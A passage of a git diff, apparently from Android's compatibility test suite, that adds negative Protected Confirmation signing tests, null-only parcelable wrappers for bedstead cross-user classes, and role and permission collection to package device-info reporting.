private boolean teeTestSuccess = false;
private boolean strongboxTestSuccess = false;
+ private boolean mTeeNegativeTestSuccess = false;
+ private boolean mStrongboxNegativeTestSuccess = false;
@Override
protected void onCreate(Bundle savedInstanceState) {
@@ -81,15 +83,19 @@
.setVisibility(View.INVISIBLE);
findViewById(R.id.sec_protected_confirmation_strongbox_test_success)
.setVisibility(View.INVISIBLE);
+ findViewById(R.id.sec_protected_confirmation_tee_negative_test_success)
+ .setVisibility(View.INVISIBLE);
+ findViewById(R.id.sec_protected_confirmation_strongbox_negative_test_success)
+ .setVisibility(View.INVISIBLE);
Button startTestButton = (Button) findViewById(R.id.sec_start_test_button);
startTestButton.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
- showToast("Test running...");
+ showToast("TEE positive Test running...");
v.post(new Runnable() {
@Override
public void run() {
- runTest(false /* useStrongbox */);
+ runTest(false /* useStrongbox */, true /* positiveScenario */);
}
});
}
@@ -102,11 +108,11 @@
startStrongboxTestButton.setOnClickListener(new OnClickListener() {
@Override
public void onClick(View v) {
- showToast("Test running...");
+ showToast("Strongbox Positive Test running...");
v.post(new Runnable() {
@Override
public void run() {
- runTest(true /* useStrongbox */);
+ runTest(true /* useStrongbox */, true /* positiveScenario */);
}
});
}
@@ -119,6 +125,44 @@
strongboxTestSuccess = true;
}
+ Button startNegativeTestButton =
+ (Button) findViewById(R.id.sec_start_tee_negative_test_button);
+ startNegativeTestButton.setOnClickListener(new OnClickListener() {
+ @Override
+ public void onClick(View v) {
+ showToast("TEE negative Test running...");
+ v.post(new Runnable() {
+ @Override
+ public void run() {
+ runTest(false /* useStrongbox */, false /* positiveScenario */);
+ }
+ });
+ }
+
+ });
+
+ Button startStrongboxNegativeTestButton =
+ (Button) findViewById(R.id.sec_start_test_strongbox_negative_button);
+ if (hasStrongbox) {
+ startStrongboxNegativeTestButton.setOnClickListener(new OnClickListener() {
+ @Override
+ public void onClick(View v) {
+ showToast("Strongbox negative Test running...");
+ v.post(new Runnable() {
+ @Override
+ public void run() {
+ runTest(true /* useStrongbox */, false /* positiveScenario */);
+ }
+ });
+ }
+
+ });
+ } else {
+ startStrongboxTestButton.setVisibility(View.GONE);
+ // since strongbox is unavailable we mark the strongbox test as passed so that the tee
+ // test alone can make the test pass.
+ mStrongboxNegativeTestSuccess = true;
+ }
}
/**
@@ -150,37 +194,45 @@
}
}
- private boolean trySign(byte[] dataThatWasConfirmed) {
+ private boolean trySign(byte[] dataThatWasConfirmed, boolean positiveScenario) {
try {
KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
KeyStore.Entry key = keyStore.getEntry(KEY_NAME, null);
Signature s = Signature.getInstance("SHA256withECDSA");
s.initSign(((KeyStore.PrivateKeyEntry) key).getPrivateKey());
+ if (!positiveScenario && dataThatWasConfirmed != null
+ && dataThatWasConfirmed.length > 0) {
+ // The data received in callback as confirmed data has prompt text and extra data
+ // included. So even using same prompt text for signing could be considered as
+ // corrupted data.
+ dataThatWasConfirmed[0] = (byte) ~dataThatWasConfirmed[0];
+ }
s.update(dataThatWasConfirmed);
s.sign();
} catch (CertificateException | KeyStoreException | IOException | NoSuchAlgorithmException |
UnrecoverableEntryException | InvalidKeyException e) {
throw new RuntimeException("Failed to load confirmation key", e);
} catch (SignatureException e) {
- return false;
+ return !positiveScenario;
}
- return true;
+ return positiveScenario;
}
- private void runTest(boolean useStrongbox) {
+ private void runTest(boolean useStrongbox, boolean positiveScenario) {
createKey(useStrongbox);
if (trySign(getString(R.string.sec_protected_confirmation_message)
- .getBytes())) {
+ .getBytes(), true /* positiveScenario */)) {
showToast("Test failed. Key could sign without confirmation.");
} else {
showConfirmationPrompt(
getString(R.string.sec_protected_confirmation_message),
- useStrongbox);
+ useStrongbox, positiveScenario);
}
}
- private void showConfirmationPrompt(String confirmationMessage, boolean useStrongbox) {
+ private void showConfirmationPrompt(String confirmationMessage, boolean useStrongbox,
+ boolean positiveScenario) {
ConfirmationPrompt.Builder builder = new ConfirmationPrompt.Builder(this);
builder.setPromptText(confirmationMessage);
builder.setExtraData(new byte[]{0x1, 0x02, 0x03});
@@ -191,10 +243,14 @@
@Override
public void onConfirmed(byte[] dataThatWasConfirmed) {
super.onConfirmed(dataThatWasConfirmed);
- if (trySign(dataThatWasConfirmed)) {
- markTestSuccess(useStrongbox);
+ if (trySign(dataThatWasConfirmed, positiveScenario)) {
+ markTestSuccess(useStrongbox, positiveScenario);
} else {
- showToast("Failed to sign confirmed message");
+ if (positiveScenario) {
+ showToast("Failed to sign confirmed message");
+ } else {
+ showToast("Failed! Corrupted data should not be signed.");
+ }
}
}
@@ -227,21 +283,30 @@
.show();
}
- private void markTestSuccess(boolean strongbox) {
+ private void markTestSuccess(boolean strongbox, boolean positiveScenario) {
if (strongbox) {
- if (!strongboxTestSuccess) {
+ if (positiveScenario && !strongboxTestSuccess) {
findViewById(R.id.sec_protected_confirmation_strongbox_test_success)
.setVisibility(View.VISIBLE);
+ strongboxTestSuccess = true;
+ } else if (!mStrongboxNegativeTestSuccess) {
+ findViewById(R.id.sec_protected_confirmation_strongbox_negative_test_success)
+ .setVisibility(View.VISIBLE);
+ mStrongboxNegativeTestSuccess = true;
}
- strongboxTestSuccess = true;
} else {
- if (!teeTestSuccess) {
+ if (positiveScenario && !teeTestSuccess) {
findViewById(R.id.sec_protected_confirmation_tee_test_success)
.setVisibility(View.VISIBLE);
+ teeTestSuccess = true;
+ } else if (!mTeeNegativeTestSuccess) {
+ findViewById(R.id.sec_protected_confirmation_tee_negative_test_success)
+ .setVisibility(View.VISIBLE);
+ mTeeNegativeTestSuccess = true;
}
- teeTestSuccess = true;
}
- if (strongboxTestSuccess && teeTestSuccess) {
+ if (strongboxTestSuccess && teeTestSuccess && mStrongboxNegativeTestSuccess
+ && mTeeNegativeTestSuccess) {
showToast("Test passed.");
getPassButton().setEnabled(true);
}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
index 016a006..8e3346f 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/GenericManagerImpl.java
@@ -17,7 +17,6 @@
import android.content.ContentResolver;
import android.content.Context;
-import android.os.UserHandle;
import android.provider.Settings;
import android.provider.Settings.SettingNotFoundException;
import android.util.Log;
@@ -26,18 +25,24 @@
private static final String TAG = GenericManagerImpl.class.getSimpleName();
- private final UserHandle mUser;
+ private String mUserIdentifier;
private final ContentResolver mContentResolver;
GenericManagerImpl(Context context) {
- mUser = context.getUser();
+ try {
+ mUserIdentifier = String.valueOf(context.getUser().getIdentifier());
+ } catch (Throwable e) {
+ Log.w(TAG, "Error while extracting User data from " + context + " : " + e);
+ mUserIdentifier = "N/A";
+ }
mContentResolver = context.getContentResolver();
}
@Override
public int getSecureIntSettings(String setting) throws SettingNotFoundException {
int value = Settings.Secure.getInt(mContentResolver, setting);
- Log.d(TAG, "getSecureIntSettings(" + setting + ") for user " + mUser + ": " + value);
+ Log.d(TAG,
+ "getSecureIntSettings(" + setting + ") for user " + mUserIdentifier + ": " + value);
return value;
}
}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
index 0f33307..218610ea 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/TestAppSystemServiceFactory.java
@@ -120,7 +120,7 @@
}
private static void assertHasRequiredReceiver(Context context) {
- if (!UserManager.isHeadlessSystemUserMode()) return;
+ if (!Utils.isHeadlessSystemUserMode()) return;
String packageName = context.getPackageName();
Boolean hasIt = sHasRequiredReceiver.get(packageName);
@@ -226,7 +226,7 @@
assertHasRequiredReceiver(context);
int userId = context.getUserId();
- if (userId == UserHandle.USER_SYSTEM || !UserManager.isHeadlessSystemUserMode()) {
+ if (userId == UserHandle.USER_SYSTEM || !Utils.isHeadlessSystemUserMode()) {
Log.i(TAG, "get(): returning 'pure' DevicePolicyManager for user " + userId);
return manager;
}
diff --git a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
index 03b8963..57289de 100644
--- a/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
+++ b/common/device-side/bedstead/dpmwrapper/src/main/java/com/android/bedstead/dpmwrapper/Utils.java
@@ -19,6 +19,7 @@
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
+import android.os.Build;
import android.os.Bundle;
import android.os.Handler;
import android.os.HandlerThread;
@@ -61,12 +62,17 @@
@GuardedBy("LOCK")
private static Handler sHandler;
+ static boolean isHeadlessSystemUserMode() {
+ return Build.VERSION.SDK_INT >= Build.VERSION_CODES.S
+ && UserManager.isHeadlessSystemUserMode();
+ }
+
static boolean isHeadlessSystemUser() {
- return UserManager.isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
+ return isHeadlessSystemUserMode() && MY_USER_ID == UserHandle.USER_SYSTEM;
}
static boolean isCurrentUserOnHeadlessSystemUser(Context context) {
- return UserManager.isHeadlessSystemUserMode()
+ return isHeadlessSystemUserMode()
&& context.getSystemService(UserManager.class).isUserForeground();
}
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
index d93ff7e..465ceb6 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/main/java/com/android/bedstead/remoteframeworkclasses/processor/Processor.java
@@ -276,12 +276,10 @@
// AccountManager
// Uses Activity
- "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> finishSession(android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> editProperties(String, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthTokenByFeatures(String, String, String[], android.app.Activity, android.os.Bundle, android.os.Bundle, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
- "public android.accounts.AccountManagerFuture<android.os.Bundle> removeAccount(android.accounts.Account, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> startAddAccountSession(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> startUpdateCredentialsSession(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> updateCredentials(android.accounts.Account, String, android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
@@ -295,7 +293,6 @@
// Uses AccountManagerCallback
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
- "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)",
"public android.os.Bundle hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
@@ -304,7 +301,6 @@
"public android.accounts.AccountManagerFuture<java.lang.Boolean> hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
"public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException",
"public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
- "public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)",
"public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)",
// Uses android.accounts.AccountManager
@@ -641,6 +637,18 @@
private static final ClassName NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME =
ClassName.get("com.android.bedstead.remoteframeworkclasses",
"NullParcelableRemoteContentResolver");
+
+ // TODO(b/205562849): These only support passing null, which is fine for existing tests but will be misleading
+ private static final ClassName NULL_PARCELABLE_ACTIVITY_CLASSNAME =
+ ClassName.get("com.android.bedstead.remoteframeworkclasses",
+ "NullParcelableActivity");
+ private static final ClassName NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME =
+ ClassName.get("com.android.bedstead.remoteframeworkclasses",
+ "NullParcelableAccountManagerCallback");
+ private static final ClassName NULL_HANDLER_CALLBACK_CLASSNAME =
+ ClassName.get("com.android.bedstead.remoteframeworkclasses",
+ "NullParcelableHandler");
+
private static final ClassName COMPONENT_NAME_CLASSNAME =
ClassName.get("android.content", "ComponentName");
@@ -678,6 +686,9 @@
private void generateWrappers() {
generateWrapper(NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME);
generateWrapper(NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME);
+ generateWrapper(NULL_PARCELABLE_ACTIVITY_CLASSNAME);
+ generateWrapper(NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME);
+ generateWrapper(NULL_HANDLER_CALLBACK_CLASSNAME);
}
private void generateWrapper(ClassName className) {
@@ -761,9 +772,8 @@
classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
- .addMember("parcelableWrappers", "{$T.class, $T.class}",
- NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
- NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+ .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+ NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
.addMember("futureWrappers", "$T.class",
ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME)
.build());
@@ -815,9 +825,8 @@
TypeSpec.classBuilder(className).addModifiers(Modifier.FINAL, Modifier.PUBLIC);
classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class)
- .addMember("parcelableWrappers", "{$T.class, $T.class}",
- NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME,
- NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME)
+ .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}",
+ NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME)
.build());
classBuilder.addField(ClassName.get(frameworkClass),
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
new file mode 100644
index 0000000..4984775
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.accounts.AccountManagerCallback;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link AccountManagerCallback} for clients
+ * which do not need to actually use the {@link AccountManagerCallback} param or return value.
+ */
+@CustomParcelableWrapper(originalType = AccountManagerCallback.class)
+public final class NullParcelableAccountManagerCallback<F> implements Parcelable {
+
+ /**
+ * Create a wrapper for a given {@link AccountManagerCallback}.
+ */
+ public static <F> NullParcelableAccountManagerCallback of(
+ Bundler bundler, BundlerType type,
+ AccountManagerCallback<F> accountManagerCallback) {
+
+ if (accountManagerCallback != null) {
+ throw new IllegalArgumentException("accountManagerCallback can only be null");
+ }
+
+ return new NullParcelableAccountManagerCallback<F>();
+ }
+
+ private NullParcelableAccountManagerCallback() {
+ }
+
+ public AccountManagerCallback<F> get() {
+ return null;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static final Creator<NullParcelableAccountManagerCallback> CREATOR =
+ new Creator<NullParcelableAccountManagerCallback>() {
+ @Override
+ public NullParcelableAccountManagerCallback createFromParcel(Parcel in) {
+ return new NullParcelableAccountManagerCallback();
+ }
+
+ @Override
+ public NullParcelableAccountManagerCallback[] newArray(int size) {
+ return new NullParcelableAccountManagerCallback[size];
+ }
+ };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
new file mode 100644
index 0000000..6000472
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.app.Activity;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Activity} for clients
+ * which do not need to actually use the {@link Activity} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Activity.class)
+public final class NullParcelableActivity implements Parcelable {
+
+ /**
+ * Create a wrapper for a given {@link Activity}.
+ */
+ public static <F> NullParcelableActivity of(
+ Bundler bundler, BundlerType type,
+ Activity activity) {
+
+ if (activity != null) {
+ throw new IllegalArgumentException("activity can only be null");
+ }
+
+ return new NullParcelableActivity();
+ }
+
+ private NullParcelableActivity() {
+ }
+
+ public Activity get() {
+ return null;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static final Creator<NullParcelableActivity> CREATOR =
+ new Creator<NullParcelableActivity>() {
+ @Override
+ public NullParcelableActivity createFromParcel(Parcel in) {
+ return new NullParcelableActivity();
+ }
+
+ @Override
+ public NullParcelableActivity[] newArray(int size) {
+ return new NullParcelableActivity[size];
+ }
+ };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
new file mode 100644
index 0000000..92692ad
--- /dev/null
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.remoteframeworkclasses;
+
+import android.os.Handler;
+import android.os.Parcel;
+import android.os.Parcelable;
+
+import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper;
+import com.google.android.enterprise.connectedapps.internal.Bundler;
+import com.google.android.enterprise.connectedapps.internal.BundlerType;
+
+/**
+ * This parcelable wrapper just passes null to callers.
+ *
+ * <p>It is not functional and only enables use of {@link Handler} for clients
+ * which do not need to actually use the {@link Handler} param or return value.
+ */
+@CustomParcelableWrapper(originalType = Handler.class)
+public final class NullParcelableHandler implements Parcelable {
+
+ /**
+ * Create a wrapper for a given {@link Handler}.
+ */
+ public static <F> NullParcelableHandler of(
+ Bundler bundler, BundlerType type,
+ Handler handler) {
+
+ if (handler != null) {
+ throw new IllegalArgumentException("handler can only be null");
+ }
+
+ return new NullParcelableHandler();
+ }
+
+ private NullParcelableHandler() {
+ }
+
+ public Handler get() {
+ return null;
+ }
+
+ @Override
+ public void writeToParcel(Parcel dest, int flags) {
+ }
+
+ @Override
+ public int describeContents() {
+ return 0;
+ }
+
+ @SuppressWarnings("rawtypes")
+ public static final Creator<NullParcelableHandler> CREATOR =
+ new Creator<NullParcelableHandler>() {
+ @Override
+ public NullParcelableHandler createFromParcel(Parcel in) {
+ return new NullParcelableHandler();
+ }
+
+ @Override
+ public NullParcelableHandler[] newArray(int size) {
+ return new NullParcelableHandler[size];
+ }
+ };
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
index 22217a3..7225c75 100644
--- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
+++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt
@@ -39,6 +39,11 @@
public static <F> NullParcelableRemoteDevicePolicyManager of(
Bundler bundler, BundlerType type,
RemoteDevicePolicyManager remoteDevicePolicyManager) {
+
+ if (remoteDevicePolicyManager != null) {
+ throw new IllegalArgumentException("remoteDevicePolicyManager can only be null");
+ }
+
return new NullParcelableRemoteDevicePolicyManager();
}
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index 32e41a1..fbff1c4 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -15,8 +15,10 @@
*/
package com.android.compatibility.common.deviceinfo;
+import android.Manifest;
import android.annotation.TargetApi;
import android.app.admin.DevicePolicyManager;
+import android.app.role.RoleManager;
import android.content.ComponentName;
import android.content.Context;
import android.content.pm.ApplicationInfo;
@@ -25,12 +27,16 @@
import android.content.pm.PermissionInfo;
import android.os.Build;
import android.os.Process;
+
import com.android.compatibility.common.util.DeviceInfoStore;
import com.android.compatibility.common.util.PackageUtil;
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+
import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
@@ -42,7 +48,8 @@
public class PackageDeviceInfo extends DeviceInfo {
private static final String PLATFORM = "android";
- private static final String PLATFORM_PERMISSION_PREFIX = "android.";
+ private static final String PLATFORM_ANDROID_PERMISSION_PREFIX = "android.permission.";
+ private static final String PLATFORM_MANIFEST_PERMISSION_PREFIX = "android.Manifest.permission.";
private static final String PACKAGE = "package";
private static final String NAME = "name";
@@ -53,17 +60,23 @@
private static final String TARGET_SDK = "target_sdk";
private static final String REQUESTED_PERMISSIONS = "requested_permissions";
+ private static final String DEFINED_PERMISSIONS = "defined_permissions";
private static final String PERMISSION_NAME = "name";
private static final String PERMISSION_FLAGS = "flags";
private static final String PERMISSION_GROUP = "permission_group";
private static final String PERMISSION_PROTECTION = "protection_level";
private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags";
+ private static final String PERMISSION_IS_GRANTED = "is_granted";
+
private static final String PERMISSION_TYPE = "type";
private static final int PERMISSION_TYPE_SYSTEM = 1;
private static final int PERMISSION_TYPE_OEM = 2;
private static final int PERMISSION_TYPE_CUSTOM = 3;
+ private static final String REQUESTED_ROLES = "requested_roles";
+ private static final String ROLE_NAME = "name";
+
private static final String HAS_SYSTEM_UID = "has_system_uid";
private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission";
@@ -82,6 +95,21 @@
private static final String CONFIG_ACCESSIBILITY_SERVICE = "config_defaultAccessibilityService";
private static final String DEFAULT_ACCESSIBILITY_SERVICE = "is_default_accessibility_service";
+ private static final HashSet<String> ADDITIONAL_ANDROID_PERMISSIONS = new HashSet<>(Arrays.asList(new String[] {
+ "com.android.voicemail.permission.ADD_VOICEMAIL",
+ "com.android.voicemail.permission.WRITE_VOICEMAIL",
+ "com.android.voicemail.permission.READ_VOICEMAIL",
+ "com.android.browser.permission.READ_HISTORY_BOOKMARKS",
+ "com.android.browser.permission.WRITE_HISTORY_BOOKMARKS",
+ "com.android.alarm.permission.SET_ALARM",
+ "com.android.launcher.permission.INSTALL_SHORTCUT",
+ "com.android.launcher.permission.UNINSTALL_SHORTCUT",
+ "com.android.permission.INSTALL_EXISTING_PACKAGES",
+ "com.android.permission.USE_INSTALLER_V2",
+ "com.android.permission.USE_SYSTEM_DATA_LOADERS",
+ "android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE"
+ }));
+
@Override
protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -96,6 +124,8 @@
final ComponentName defaultAccessibilityComponent = getDefaultAccessibilityComponent();
+ final HashMap<String, List<String>> packageRolesData = getPackageRolesData();
+
// Platform permission data used to tag permissions information with sourcing information
final PackageInfo platformInfo = pm.getPackageInfo(PLATFORM , PackageManager.GET_PERMISSIONS);
final Set<String> platformPermissions = new HashSet<String>();
@@ -109,7 +139,9 @@
store.addResult(NAME, pkg.packageName);
store.addResult(VERSION_NAME, pkg.versionName);
- collectPermissions(store, pm, platformPermissions, pkg);
+ collectRequestedPermissions(store, pm, platformPermissions, pkg);
